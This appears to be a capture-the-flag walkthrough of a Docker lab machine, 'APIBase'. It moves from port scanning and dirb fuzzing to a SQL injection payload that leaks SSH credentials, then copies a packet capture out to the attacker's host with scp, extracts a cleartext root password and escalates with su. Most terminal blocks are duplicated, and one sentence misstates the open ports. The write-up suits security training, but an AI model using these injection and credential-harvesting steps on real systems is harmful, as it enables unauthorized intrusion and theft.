APIBASE MACHINE
APIBASE
┌──(root㉿kali)-[/home/kali/Descargas]
└─# bash auto_deploy.sh apibase.tar
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
└─# bash auto_deploy.sh apibase.tar
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
First of all, we have to execute ping and see the connection between
attacker machine and vulnerable machine as you can see below.
┌──(root㉿kali)-[/home/kali/Descargas]
└─# ping -c3 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.066 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.067 ms
--- 172.17.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2039ms
rtt min/avg/max/mdev = 0.066/0.066/0.067/0.000 ms
└─# ping -c3 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.066 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.067 ms
--- 172.17.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2039ms
rtt min/avg/max/mdev = 0.066/0.066/0.067/0.000 ms
Once the host was identified, Nmap, a port scanning tool, was used to
discover which services were running on the machine. The scan revealed port 22 (HTTP) and 500 were open.
┌──(root㉿kali)-[/home/kali/Descargas]
└─# nmap -n -Pn -sS -sV -vvv 172.17.0.2 2>/dev/null
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-19 13:30 CET
NSE: Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 13:30
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 13:30, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:30
Scanning 172.17.0.2 [1000 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 5000/tcp on 172.17.0.2
Completed SYN Stealth Scan at 13:30, 0.04s elapsed (1000 total ports)
Initiating Service scan at 13:30
Scanning 2 services on 172.17.0.2
Completed Service scan at 13:30, 6.03s elapsed (2 services on 1 host)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:30
Completed NSE at 13:30, 0.02s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:30
Completed NSE at 13:30, 0.01s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000080s latency).
Scanned at 2026-03-19 13:30:22 CET for 7s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u4 (protocol 2.0)
5000/tcp open http syn-ack ttl 64 Werkzeug httpd 1.0.1 (Python 3.9.2)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.51 seconds
Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.036KB)
└─# nmap -n -Pn -sS -sV -vvv 172.17.0.2 2>/dev/null
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-19 13:30 CET
NSE: Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 13:30
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 13:30, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:30
Scanning 172.17.0.2 [1000 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 5000/tcp on 172.17.0.2
Completed SYN Stealth Scan at 13:30, 0.04s elapsed (1000 total ports)
Initiating Service scan at 13:30
Scanning 2 services on 172.17.0.2
Completed Service scan at 13:30, 6.03s elapsed (2 services on 1 host)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:30
Completed NSE at 13:30, 0.02s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:30
Completed NSE at 13:30, 0.01s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000080s latency).
Scanned at 2026-03-19 13:30:22 CET for 7s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u4 (protocol 2.0)
5000/tcp open http syn-ack ttl 64 Werkzeug httpd 1.0.1 (Python 3.9.2)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.51 seconds
Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.036KB)
Now, let's go to write in URL this IP Address http://172.17.0.2:5000 as you can see below.
But the the picture shows "Please use /add to add a user or /users to query users"
Now, we are going to trying introduce /users in the url but it has been invalid parameter because normally we have to introduce /users and the users, and as we don't know the path and the users we can try use fuzzing web as you can see below.
Now, let's go to scanning with dirb toolkit to get the information in this webpage as you can see below.
┌──(root㉿kali)-[/home/kali/Descargas]
└─# dirb "http://172.17.0.2:5000/users?"
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Mar 19 13:35:42 2026
URL_BASE: http://172.17.0.2:5000/users?
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.17.0.2:5000/users? ----
+ http://172.17.0.2:5000/users?username (CODE:200|SIZE:39)
-----------------
END_TIME: Thu Mar 19 13:35:50 2026
DOWNLOADED: 4612 - FOUND: 1
└─# dirb "http://172.17.0.2:5000/users?"
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Mar 19 13:35:42 2026
URL_BASE: http://172.17.0.2:5000/users?
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.17.0.2:5000/users? ----
+ http://172.17.0.2:5000/users?username (CODE:200|SIZE:39)
-----------------
END_TIME: Thu Mar 19 13:35:50 2026
DOWNLOADED: 4612 - FOUND: 1
Gotha! we have discovered the key which is username as you can see below but the next problem is we don't know the users.
In addition, we have got obtain more information as that there is a sql database as you can see below.
Now, we are trying use a sql injection as you can see below "http://172.17.0.2:5000/users?username=prueba ' or 1=1 -- -".
Gotha! the users has been found out which are:
- pingu (user): pinguinasio(password)
As we knowledge there is a ssh port let´s go to introduce the credentials as you can see below.
┌──(root㉿kali)-[/home/kali/Descargas]
└─# ssh pingu@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:UQP3sZ2M9Bu7kTQ1HO4SYadbMon/LNV+DBfYj4vF3vk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
pingu@172.17.0.2's password:
Linux 2f1607828f01 6.16.8+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.16.8-1kali1 (2025-09-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(root㉿kali)-[/home/kali/Descargas]
└─# ssh pingu@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:UQP3sZ2M9Bu7kTQ1HO4SYadbMon/LNV+DBfYj4vF3vk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
pingu@172.17.0.2's password:
Linux 2f1607828f01 6.16.8+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.16.8-1kali1 (2025-09-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Yes we have hacked the sistem and now let's go to begin root user with the following steps:
- sudo -l (to see if there is a path to hack) but it hasn´t been possible
- cd .. (to change directory and discover new files, paths etc, and the new discover paths has been:
- app.py
- network.pacap
- pingu
- users.db
pingu@2f1607828f01:~$ sudo -l
-bash: sudo: command not found
-bash: sudo: command not found
pingu@2f1607828f01:~$ cd ..
pingu@2f1607828f01:/home$ ls
app.py network.pcap pingu users.db
pingu@2f1607828f01:~$ cd ..
pingu@2f1607828f01:/home$ ls
app.py network.pcap pingu users.db
pingu@2f1607828f01:/home$ ls
app.py network.pcap pingu users.db
pingu@2f1607828f01:~$ cd ..
pingu@2f1607828f01:/home$ ls
app.py network.pcap pingu users.db
Now, we can view the users.db file but we haven't discovered nothing as you can see below.
pingu@2f1607828f01:/home$ cat users.db
��q�AtableusersusersCREATE TABLE users
��#pingupinguinasiopingu@2f1607828f01:/home$ ^Came TEXT, password TEXT)
��q�AtableusersusersCREATE TABLE users
��#pingupinguinasiopingu@2f1607828f01:/home$ ^Came TEXT, password TEXT)
In the attack machine we have to start ssh service to share network.pcap and see if it's possible obtain a password in plaintext with this command as you can see below.
┌──(root㉿kali)-[/home/kali/Descargas]
└─# systemctl start ssh.service
┌──(root㉿kali)-[/home/kali/Descargas]
└─# systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
Active: active (running) since Thu 2026-03-19 13:46:33 CET; 3s ago
Invocation: 6dd6fe8b99dd481d89b87574f0ea18b9
Docs: man:sshd(8)
man:sshd_config(5)
Process: 45953 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 45955 (sshd)
Tasks: 1 (limit: 12711)
Memory: 2.4M (peak: 3M)
CPU: 32ms
CGroup: /system.slice/ssh.service
└─45955 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
mar 19 13:46:33 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
mar 19 13:46:33 kali sshd[45955]: Server listening on 0.0.0.0 port 22.
mar 19 13:46:33 kali sshd[45955]: Server listening on :: port 22.
mar 19 13:46:33 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
Now, we are going to sharing the file as you can see below.
pingu@2f1607828f01:/home$ scp network.pcap kali@192.168.88.5:/home/kali
The authenticity of host '192.168.88.5 (192.168.88.5)' can't be established.
ECDSA key fingerprint is SHA256:Sdw1IM59LaYzLtsf7+/EA7q3NygFUZ5cNYyQK0lHnKs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.88.5' (ECDSA) to the list of known hosts.
kali@192.168.88.5's password:
Permission denied, please try again.
kali@192.168.88.5's password:
network.pcap 100% 399 503.7KB/s 00:00
We can see below the file has been shared successfully.
┌──(root㉿kali)-[/home/kali]
└─# ls
api.py Documentos Imágenes network.pcap Público Vídeos
Descargas Escritorio Música Plantillas race.txt
└─# ls
api.py Documentos Imágenes network.pcap Público Vídeos
Descargas Escritorio Música Plantillas race.txt
Moreover, we have to open wireshark to see network.pcap as you can see below.
Gotha! we have found out the password in plaintext which is balulero as you can see below.
But we can see the password with the cat command too as you can see below.
┌──(root㉿kali)-[/home/kali]
└─# cat network.pcap
���&�gVF((E(@"���P .�&�g@G((E(@O��P [�&�g�G((E(@"���P .�&�g3H33E3@"���P aRLOGIN root
&�g
I66E6@"���P ��PASS balulero
&�g�I66E6@O��P ��Access Denied
└─# cat network.pcap
���&�gVF((E(@"���P .�&�g@G((E(@O��P [�&�g�G((E(@"���P .�&�g3H33E3@"���P aRLOGIN root
&�g
I66E6@"���P ��PASS balulero
&�g�I66E6@O��P ��Access Denied
If we write su root and the password balulero, we will be able to be user root as you can see below.
pingu@2f1607828f01:/home$ su root
Password:
root@2f1607828f01:/home# whoami
root
Password:
root@2f1607828f01:/home# whoami
root
Thank you very much for reading this article
I hope you liked and learned something new
This article has been done with ethical proposes
Good Hack
Comments
Post a Comment